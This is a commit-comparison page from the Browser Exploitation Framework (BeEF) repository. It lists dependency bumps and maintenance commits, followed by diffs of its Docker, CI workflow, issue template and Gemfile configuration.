Compare commits

..
46 Commits
Author SHA1 Message Date
bcoles 9f99d65e39 WebRTC: Rename Rtc model classes to align with ActiveRecord syntax (#2524)
CodeQL / Analyze (javascript) (push) Canceled after 0s
CodeQL / Analyze (ruby) (push) Canceled after 0s
2022-08-01 17:55:19 +10:00
bcoles 8d98a8e205 Bump Ruby version to 3.0.3 (#2523)
* Bump Ruby version to 3.0.3

* Add net-smtp to Gemfile to support Ruby 3.0 < 3.1

* Update Gemfile.lock
2022-08-01 16:08:26 +10:00
bcoles 77983167db Update dependencies (#2522) 2022-08-01 14:34:31 +10:00
dependabot[bot] d1df07f13d Bump rack-protection from 2.2.0 to 2.2.1 (#2507)
Bumps [rack-protection](https://github.com/sinatra/sinatra) from 2.2.0 to 2.2.1.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/v2.2.1/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v2.2.0...v2.2.1)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-31 21:25:22 +10:00
dependabot[bot] 70685c94a4 Bump browserstack-local from 1.3.0 to 1.4.0 (#2509)
Bumps [browserstack-local](https://github.com/browserstack/browserstack-local-ruby) from 1.3.0 to 1.4.0.
- [Release notes](https://github.com/browserstack/browserstack-local-ruby/releases)
- [Changelog](https://github.com/browserstack/browserstack-local-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/browserstack/browserstack-local-ruby/commits)

---
updated-dependencies:
- dependency-name: browserstack-local
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-31 18:17:44 +10:00
dependabot[bot] d761611056 Bump rubocop from 1.31.2 to 1.32.0 (#2511)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.31.2 to 1.32.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.31.2...v1.32.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-31 18:16:56 +10:00
MyLoginOnGitHub 87318f5a14 Fixed bug when response_data is empty when http.response_data.length is <= 100K (#2510)
* Fixed bug when response_data is empty when http.response_data.length <= 100K

* Refactor: do not modify field. Modify local variable instead
2022-07-22 10:05:54 +10:00
dependabot[bot] 94063f2f33 Bump activerecord from 7.0.3 to 7.0.3.1 (#2499)
Bumps [activerecord](https://github.com/rails/rails) from 7.0.3 to 7.0.3.1.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v7.0.3.1/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v7.0.3...v7.0.3.1)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-13 23:02:24 +10:00
dependabot[bot] fc7df4748f Bump rubocop from 1.26.1 to 1.31.2 (#2488)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.26.1 to 1.31.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.26.1...v1.31.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-13 15:19:47 +10:00
Megan Howell 24dd89884b Install: Add support for ArcoLinux and BlackArch (#2487) 2022-07-07 12:00:25 +10:00
e69281e341 Bugfix/module html5 webcam (#2392)
* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

* Revert "- Fix for offline browsers. Allowing you to view all executed commands in the past and details. - fiexed a small mistake in a comment"

This reverts commit fed79d71

* - Fixed deprecated call to "window.URL.createObjectURL" on newer browsers
- Fixed bug where no image would be shown even if the picture was taken. (image size too large)
- added option to module to choose image size.

* fixed config we default

* fix codeql

Co-authored-by: Whacko <not@gonna.tel>
Co-authored-by: wheatley <wheatand@gmail.com>
2022-07-02 18:28:08 +10:00
wheatley ddc06f1d7e Update stale.yml 2022-07-02 18:09:31 +10:00
wheatley 8d23c0e482 updated to run debug mode every 5mins 2022-07-02 17:48:31 +10:00
wheatley 28618367ea Add bot to help keep the issue backlog clean. (#2447)
* Create stale.yml

* Updated with exemptions and days

* updated closed days and message

* Update stale.yml
2022-07-02 17:38:29 +10:00
jcrew99 b1382e0be3 removing spelling mistake in configuration_spec (#2483) 2022-06-30 15:59:40 +10:00
Isaac Powell c1e63d2486 Update issue template (#2473)
* updated issue template

* added loggin info
2022-06-24 15:56:25 +10:00
iWhackoandWhacko b56345fcdf Bugfix/browse offline zombies (#2388)
* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

(cherry picked from commit fed79d7142b4772e42d70da1e4fb4d274f3af03e)

* Revert "- Fix for offline browsers. Allowing you to view all executed commands in the past and details. - fiexed a small mistake in a comment"

This reverts commit fed79d71

* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fixed a small mistake in a comment"

Co-authored-by: Whacko <not@gonna.tel>
2022-06-24 15:39:47 +10:00
Isaac Powell 0221a1c7da 2364 inotes modules defect and error handling (#2374)
* Fix spelling error, add try catch handling

* update error message
2022-06-24 15:22:36 +10:00
jcrew99 de60112928 Update thin gem (#2471)
* Updated Rack version

* Updated rack gem

* Updated to the latest version

* updating sinatra
2022-06-24 00:51:11 +10:00
jcrew99 7a1e500946 Update thin gem (#2470)
* Updated Rack version

* Updated rack gem
2022-06-24 00:30:34 +10:00
Isaac Powell eea9740f4f Initial hook detection (#2440)
* initial multi-stage with basic switch on useragent

* added legacybrowseruseragents to core

* moved logic to a method and debugging

* array for holding legacy browsers

* added are.js back for parity to legacy hook.js

* removed byebug
2022-06-23 16:00:57 +10:00
73a3d17f29 Fixed isDebug not work in beef.js (#2013)
* fixed isDebug not work

* fixed JQMIGRATE print extra message to console

* fix debug mode not work

* testing approval process

* Update github_actions.yml

Co-authored-by: kinovir <kinovir@gmail.com>
Co-authored-by: t3hp0rP <github@pr0ph3t.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2022-06-23 15:49:44 +10:00
Peter Mosmans f68e420318 feat: optimize Docker image (#2398) 2022-06-09 23:01:49 +10:00
dependabot[bot] b87463a60d Bump curb from 1.0.0 to 1.0.1 (#2410) 2022-06-09 16:00:45 +10:00
dependabot[bot] 107cdd3f54 Bump capybara from 3.36.0 to 3.37.1 (#2417)
Bumps [capybara](https://github.com/teamcapybara/capybara) from 3.36.0 to 3.37.1.
- [Release notes](https://github.com/teamcapybara/capybara/releases)
- [Changelog](https://github.com/teamcapybara/capybara/blob/master/History.md)
- [Commits](https://github.com/teamcapybara/capybara/compare/3.36.0...3.37.1)

---
updated-dependencies:
- dependency-name: capybara
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:58:18 +10:00
dependabot[bot] d9d2c9c64b Bump json from 2.6.1 to 2.6.2 (#2420)
Bumps [json](https://github.com/flori/json) from 2.6.1 to 2.6.2.
- [Release notes](https://github.com/flori/json/releases)
- [Changelog](https://github.com/flori/json/blob/master/CHANGES.md)
- [Commits](https://github.com/flori/json/compare/v2.6.1...v2.6.2)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:58:03 +10:00
dependabot[bot] b911c8df23 Bump nokogiri from 1.13.3 to 1.13.6 (#2423)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.3 to 1.13.6.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.3...v1.13.6)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:55:48 +10:00
dependabot[bot] 9bc8d017e6 Bump selenium-webdriver from 4.1.0 to 4.2.1 (#2438)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.1.0 to 4.2.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:55:34 +10:00
wheatley a7a4c81468 adding GHAS scanning (#2429) 2022-05-30 09:53:24 +10:00
bcoles cbe9f66990 Admin UI: Remove 'Submit Bug' link from admin panel (#2403) 2022-05-12 11:09:52 +10:00
Isaac Powellandbcoles 1c395a3153 1612 update detect lastpass module (#2292)
* updated detection methods for LastPass module

* removed old detection of form tag

* refactor detection, updated module config.yaml

* comment removal

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

True!

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

not necessary to preface the text for this one?

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* removing redundant code

* implement field creation

* form field creation and sequential execution

* removing test beef.debug

Co-authored-by: bcoles <bcoles@gmail.com>
2022-03-30 13:44:36 +10:00
iWhackoandWhacko 0636e815db Bugfix/browse offline zombies (#2371)
* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

(cherry picked from commit fed79d7142b4772e42d70da1e4fb4d274f3af03e)

* Revert "- Fix for offline browsers. Allowing you to view all executed commands in the past and details. - fiexed a small mistake in a comment"

This reverts commit fed79d71

* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

Co-authored-by: Whacko <not@gonna.tel>
2022-03-30 11:20:09 +10:00
Abd El-Twab M. Fakhry b46edb4d1a Add Arch based distro 'Artix' for linux installer (#2373)
Thanks @AbdeltwabMF for contributing!
2022-03-25 09:10:47 +10:00
dependabot[bot] 5fdd96f576 Bump rubocop from 1.25.1 to 1.26.0 (#2347)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.25.1 to 1.26.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.25.1...v1.26.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-17 13:33:40 +10:00
bcoles 033dbc1192 AdminUI: Fix admin UI generated combined JavaScript file name (#2358) 2022-03-16 11:35:53 +11:00
bcoles 67892d46a8 Admin UI: Treat URL route mount failures as fatal (#2349) 2022-03-15 14:30:01 +10:00
bcoles d2f27e6f2e Exit upon database connection errors at startup (#2350) 2022-03-15 14:12:51 +10:00
bcoles 57ab7fda84 Detect OpenNIC DNS (#2341) 2022-03-13 02:11:17 +11:00
bcoles 139359a760 Treat core configuration file load failure as fatal (#2351) 2022-03-13 00:03:38 +10:00
bcoles 38b7ac7c23 Bump Platform.js to version 1.3.6 (#2343) 2022-03-09 19:56:33 +11:00
bcoles 52996d4fc5 Detect Ethereum ENS (#2342) 2022-03-09 15:48:40 +10:00
dependabot[bot] 4dbced4f55 Bump nokogiri from 1.12.5 to 1.13.3 (#2316)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.12.5 to 1.13.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.12.5...v1.13.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-09 15:01:43 +10:00
marc c5e17be6db healthcheck (#2314)
@MarcPartensky  thanks, please check out the comment on your other PR. Cheers
2022-03-09 12:02:07 +10:00
dependabot[bot] 1c7a6e9fef Bump selenium-webdriver from 3.142.7 to 4.1.0 (#2260)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 3.142.7 to 4.1.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits/selenium-4.1.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-22 22:29:00 +10:00
karlmanait f104a5daff Update ruby version in Dockerfile (#2305)
* Update ruby version in Dockerfile
2022-02-22 20:15:04 +10:00
dependabot[bot] 216d312ebe Bump sinatra from 2.1.0 to 2.2.0 (#2298)
Bumps [sinatra](https://github.com/sinatra/sinatra) from 2.1.0 to 2.2.0.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v2.1.0...v2.2.0)

---
updated-dependencies:
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-22 11:33:02 +10:00
55 changed files with 1111 additions and 420 deletions
+7 -9
View File
@@ -1,11 +1,9 @@
Makefile
Dockerfile
INSTALL.txt
README.md
*pem
generate-certificate
RESTful-API.postman_collection.json
install
beef
# Don't copy over git files
.git
.github
.gitignore
doc
docs
scripts
test
update-beef
+20 -56
View File
@@ -1,66 +1,30 @@
# Submit Issue
Verify first that your issue/request has not been posted previously:
* https://github.com/beefproject/beef/issues
* https://github.com/beefproject/beef/wiki/FAQ
Ensure you're using the [latest version of BeEF](https://github.com/beefproject/beef/releases/tag/v0.5.4.0).
Please do your best to provide as much information as possible. It will help substantially if you can enable and provide debugging logs with your issue. Instructions for enabling debugging logs are below:
1. In the `config.yaml` file of your BeEF root folder set debug and client_debug (lines 11 & 13 respectively) to `true`
* If using a standard installation of `beef-xss` the root folder will typically be `/usr/share/beef-xss`
2. Reproduce your error
3. Retrieve your client-side logs from your browser's developer console (Ctrl + Shift + I)
4. Retrieve your server-side logs from `~/.beef/beef.log`
5. **If using `beef-xss`:** Retrieve your service logs using `journalctl -u beef-xss`
Thank you, this will greatly aid us in identifying the root cause of your issue :)
**If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.**
Feel free to open it back up if you continue to have issues.
## Summary
**Q:** Please provide a brief summary of the issue that you experienced.
**A:**
## Environment
*Please identify the environment in which your issue occurred.*
1. **BeEF Version:**
2. **Ruby Version:**
3. **Browser Details (e.g. Chrome v81.0):**
4. **Operating System (e.g. OSX Catalina):**
## First Steps
1. Confirm that your issue has not been posted previously by searching here: https://github.com/beefproject/beef/issues
2. Confirm that the wiki does not contain the answers you seek: https://github.com/beefproject/beef/wiki
3. BeEF Version:
4. Ruby Version:
5. Browser Details (e.g. Chrome v81.0):
6. Operating System (e.g. OSX Catalina):
## Configuration
**Q:** Have you made any changes to your BeEF configuration?
**A:**
**Q:** Have you enabled or disabled any BeEF extensions?
**A:**
## Expected vs. Actual Behaviour
**Expected Behaviour:**
<br />
**Actual Behaviour:**
<br />
1. Have you made any changes to your BeEF configuration? Yes/No
2. Have you enabled or disabled any BeEF extensions? Yes/No
## Steps to Reproduce
*Please provide steps to reproduce this issue.*
1. (eg. I ran install script, which ran fine)
2. (eg. when launching console with './beef' I get an error as follows: <error here>)
3. (eg. beef does not launch)
1.
## How to enable and capture detailed logging
1. Edit `config.yaml` in the root directory
* If using Kali **beef-xss** the root dir will be `/usr/share/beef-xss`
2. Update `client_debug` to `true`
3. Retrieve browser logs from your browser's developer console (Ctrl + Shift + I or F12 depending on browser)
4. Retrieve your server-side logs from `~/.beef/beef.log`
* If using **beef-xss** logs found with `journalctl -u beef-xss`
## Additional Information
Please provide any additional information which may be useful in resolving this issue, such as debugging output and relevant screen shots. Debug output can be retrieved by following the instructions towards the top of the issue template.
**If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.**
+72
View File
@@ -0,0 +1,72 @@
# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
#
# ******** NOTE ********
# We have attempted to detect the languages in your repository. Please check
# the `language` matrix defined below to confirm you have the correct set of
# supported CodeQL languages.
#
name: "CodeQL"
on:
push:
branches: [ master ]
pull_request:
# The branches below must be a subset of the branches above
branches: [ master ]
schedule:
- cron: '36 1 * * 0'
jobs:
analyze:
name: Analyze
runs-on: ubuntu-latest
permissions:
actions: read
contents: read
security-events: write
strategy:
fail-fast: false
matrix:
language: [ 'javascript', 'ruby' ]
# CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]
# Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support
steps:
- name: Checkout repository
uses: actions/checkout@v3
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
with:
languages: ${{ matrix.language }}
# If you wish to specify custom queries, you can do so here or in a config file.
# By default, queries listed here will override any specified in a config file.
# Prefix the list here with "+" to use these queries and those in the config file.
# Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
queries: security-extended,security-and-quality
# Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
# If this step fails, then you should remove it and run the build manually (see below)
# - name: Autobuild
# uses: github/codeql-action/autobuild@v2
# ℹ️ Command-line programs to run using the OS shell.
# 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun
# If the Autobuild fails above, remove it and uncomment the following three lines.
# modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance.
# - run: |
# echo "Run, Build Application using script"
# ./location_of_script_within_repo/buildscript.sh
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2
+1 -1
View File
@@ -42,7 +42,7 @@ jobs:
- name: 'Setting up Ruby'
uses: ruby/setup-ruby@v1
with:
ruby-version: 2.7.4 # Not needed with a .ruby-version file
ruby-version: 3.0.3 # Not needed with a .ruby-version file
- name: 'Build and run tests'
run: |
+35
View File
@@ -0,0 +1,35 @@
# This workflow warns and then closes issues and PRs that have had no activity for a specified amount of time.
#
# You can adjust the behavior by modifying this file.
# For more information, see:
# https://github.com/actions/stale
name: Mark stale issues and pull requests
on:
schedule:
- cron: '5 * * * *'
jobs:
stale:
runs-on: ubuntu-latest
permissions:
issues: write
pull-requests: write
steps:
- uses: actions/stale@v5
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
days-before-stale: 7
days-before-pr-stale: 14
days-before-close: 7
days-before-pr-close: 14
stale-issue-message: 'This issue as been marked as stale due to inactivity and will be closed in 7 days'
stale-pr-message: 'Stale pull request message'
stale-issue-label: 'Stale'
stale-pr-label: 'no-pr-activity'
exempt-issue-labels: 'Critical, High, Low, Medium, Review, Backlog'
exempt-milestones: true
exempt-draft-pr: true
start-date: '2022-06-15'
+1 -1
View File
@@ -4,7 +4,7 @@ AllCops:
- 'tmp/**/*'
- 'tools/**/*'
- 'doc/**/*'
TargetRubyVersion: 2.7
TargetRubyVersion: 3.0
NewCops: enable
Layout/LineLength:
+1 -1
View File
@@ -1 +1 @@
2.7.4
3.0.3
+10 -17
View File
@@ -10,7 +10,7 @@
###########################################################################################################
# ---------------------------- Start of Builder 0 - Gemset Build ------------------------------------------
FROM ruby:3.0-alpine AS builder
FROM ruby:2.7.5-alpine AS builder
LABEL maintainer="Beef Project: github.com/beefproject/beef"
# Install gems in parallel with 4 workers to expedite build process.=
@@ -21,17 +21,11 @@ RUN echo "gem: --no-ri --no-rdoc" > /etc/gemrc
COPY . /beef
# RUN gem install bundler -v 2.1.4
# RUN apk update
# RUN apk add ruby=2.6.3
# RUN gem install bundler -v 2
# Add bundler/gem dependencies and then install
RUN apk add --no-cache git curl libcurl curl-dev ruby-dev libffi-dev make g++ gcc musl-dev zlib-dev sqlite-dev
RUN bundle install --system --no-cache --gemfile=/beef/Gemfile $BUNDLER_ARGS
# RUN bundle clean --force
# Temp fix for https://github.com/bundler/bundler/issues/6680
RUN rm -rf /usr/local/bundle/cache
RUN apk add --no-cache git curl libcurl curl-dev ruby-dev libffi-dev make g++ gcc musl-dev zlib-dev sqlite-dev && \
bundle install --gemfile=/beef/Gemfile $BUNDLER_ARGS && \
# Temp fix for https://github.com/bundler/bundler/issues/6680
rm -rf /usr/local/bundle/cache
WORKDIR /beef
@@ -41,22 +35,19 @@ RUN chmod -R a+r /usr/local/bundle
# ---------------------------- Start of Builder 1 - Final Build ------------------------------------------
FROM ruby:2.6.3-alpine
FROM ruby:2.7.5-alpine
LABEL maintainer="Beef Project: github.com/beefproject/beef"
# Create service account to run BeEF
RUN adduser -h /beef -g beef -D beef
COPY . /beef
COPY --chown=1000:1000 . /beef
# Use gemset created by the builder above
COPY --from=builder /usr/local/bundle /usr/local/bundle
# Grant beef service account owner and groups rights over our BeEF working directory.
RUN chown -R beef:beef /beef
# Install BeEF's runtime dependencies
RUN apk add --no-cache curl git build-base openssl readline-dev zlib zlib-dev libressl-dev yaml-dev sqlite-dev sqlite libxml2-dev libxslt-dev autoconf libc6-compat ncurses5 automake libtool bison nodejs
RUN apk add --no-cache curl git build-base openssl readline-dev zlib zlib-dev libressl-dev yaml-dev sqlite-dev sqlite libxml2-dev libxslt-dev autoconf libc6-compat ncurses automake libtool bison nodejs
WORKDIR /beef
@@ -66,5 +57,7 @@ USER beef
# Expose UI, Proxy, WebSocket server, and WebSocketSecure server
EXPOSE 3000 6789 61985 61986
HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "curl", "-fS", "localhost:3000" ]
ENTRYPOINT ["/beef/beef"]
# ------------------------------------- End of Builder 1 -------------------------------------------------
+14 -16
View File
@@ -1,18 +1,19 @@
# BeEF's Gemfile
#
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
#gem 'simplecov', require: false, group: :test
gem 'net-smtp', require: false
gem 'eventmachine'
gem 'thin'
gem 'sinatra', '>= 2.0.2'
gem 'rack', '>= 2.2.3'
gem 'rack-protection', '>= 2.0.0'
gem 'sinatra', '>= 2.2.0'
gem 'rack', '>= 2.2.4'
gem 'rack-protection', '>= 2.2.0'
gem 'em-websocket' # WebSocket support
gem 'uglifier', '>= 2.7.2'
gem 'uglifier', '>= 4.2.0'
gem 'mime-types'
gem 'execjs'
gem 'ansi'
@@ -20,10 +21,10 @@ gem 'term-ansicolor', :require => 'term/ansicolor'
gem 'json'
gem 'rubyzip', '>= 1.2.2'
gem 'espeak-ruby', '>= 1.0.4' # Text-to-Voice
gem 'rake', '>= 12.3.3'
gem 'rake', '>= 13.0'
gem 'otr-activerecord', '>= 1.4.2'
gem 'sqlite3'
gem 'rubocop', '~> 1.25.1', require: false
gem 'rubocop', '~> 1.32.0', require: false
# Geolocation support
group :geoip do
@@ -41,12 +42,14 @@ end
# Notifications extension
group :ext_notifications do
gem 'unf'
gem 'domain_name', '>= 0.5.20190701'
# Pushover
gem 'rushover'
# Slack
gem 'slack-notifier'
# Twitter
gem 'twitter', '>= 5.0.0'
gem 'twitter', '>= 7.0.0'
end
# DNS extension
@@ -77,16 +80,11 @@ group :test do
# sudo port install libxml2 libxslt
gem 'capybara'
# RESTful API tests/generic command module tests
gem 'rest-client', '>= 2.0.1'
gem 'rest-client', '>= 2.1.0'
gem 'irb'
gem 'pry-byebug'
gem "websocket-client-simple", "~> 0.5.1"
gem "browserstack-local", "~> 1.3"
gem "browserstack-local", "~> 1.4"
end
source 'https://rubygems.org'
+81 -69
View File
@@ -1,12 +1,12 @@
GEM
remote: https://rubygems.org/
specs:
activemodel (7.0.2.2)
activesupport (= 7.0.2.2)
activerecord (7.0.2.2)
activemodel (= 7.0.2.2)
activesupport (= 7.0.2.2)
activesupport (7.0.2.2)
activemodel (7.0.3.1)
activesupport (= 7.0.3.1)
activerecord (7.0.3.1)
activemodel (= 7.0.3.1)
activesupport (= 7.0.3.1)
activesupport (7.0.3.1)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
@@ -17,18 +17,18 @@ GEM
archive-zip (0.12.0)
io-like (~> 0.3.0)
ast (2.4.2)
async (1.30.1)
async (1.30.3)
console (~> 1.10)
nio4r (~> 2.3)
timers (~> 4.1)
async-dns (1.3.0)
async-io (~> 1.15)
async-io (1.32.2)
async-io (1.33.0)
async
browserstack-local (1.3.0)
browserstack-local (1.4.0)
buftok (0.2.0)
byebug (11.1.3)
capybara (3.36.0)
capybara (3.37.1)
addressable
matrix
mini_mime (>= 0.1.3)
@@ -37,14 +37,15 @@ GEM
rack-test (>= 0.6.3)
regexp_parser (>= 1.5, < 3.0)
xpath (~> 3.2)
childprocess (3.0.0)
childprocess (4.1.0)
coderay (1.1.3)
concurrent-ruby (1.1.9)
console (1.13.1)
concurrent-ruby (1.1.10)
console (1.15.3)
fiber-local
curb (1.0.0)
curb (1.0.1)
daemons (1.4.1)
diff-lcs (1.5.0)
digest (3.1.0)
domain_name (0.5.20190701)
unf (>= 0.0.5, < 1.0.0)
em-websocket (0.5.3)
@@ -56,7 +57,7 @@ GEM
event_emitter (0.2.6)
eventmachine (1.2.7)
execjs (2.8.1)
ffi (1.15.4)
ffi (1.15.5)
ffi-compiler (1.0.1)
ffi (>= 1.0.0)
rake
@@ -72,19 +73,19 @@ GEM
http-form_data (~> 2.2)
http-parser (~> 1.2.0)
http-accept (1.7.0)
http-cookie (1.0.4)
http-cookie (1.0.5)
domain_name (~> 0.5)
http-form_data (2.3.0)
http-parser (1.2.3)
ffi-compiler (>= 1.0, < 2.0)
http_parser.rb (0.6.0)
i18n (1.10.0)
i18n (1.12.0)
concurrent-ruby (~> 1.0)
io-console (0.5.9)
io-console (0.5.11)
io-like (0.3.1)
irb (1.4.1)
reline (>= 0.3.0)
json (2.6.1)
json (2.6.2)
matrix (0.4.2)
maxmind-db (1.1.1)
memoizable (0.4.2)
@@ -92,29 +93,33 @@ GEM
method_source (1.0.0)
mime-types (3.4.1)
mime-types-data (~> 3.2015)
mime-types-data (3.2021.1115)
mime-types-data (3.2022.0105)
mini_mime (1.1.2)
mini_portile2 (2.6.1)
minitest (5.15.0)
mojo_magick (0.6.6)
minitest (5.16.2)
mojo_magick (0.6.7)
msfrpc-client (1.1.2)
msgpack (~> 1)
msgpack (1.4.2)
multipart-post (2.1.1)
mustermann (1.1.1)
msgpack (1.5.4)
multipart-post (2.2.3)
mustermann (2.0.2)
ruby2_keywords (~> 0.0.1)
naught (1.1.0)
net-protocol (0.1.3)
timeout
net-smtp (0.3.1)
digest
net-protocol
timeout
netrc (0.11.0)
nio4r (2.5.8)
nokogiri (1.12.5)
mini_portile2 (~> 2.6.1)
nokogiri (1.13.8-x86_64-linux)
racc (~> 1.4)
otr-activerecord (2.1.1)
activerecord (>= 4.0, < 7.1)
hashie-forbidden_attributes (~> 0.1)
parallel (1.21.0)
parallel (1.22.1)
parseconfig (1.1.2)
parser (3.1.0.0)
parser (3.1.2.0)
ast (~> 2.4.1)
power_assert (2.0.1)
pry (0.13.1)
@@ -123,24 +128,24 @@ GEM
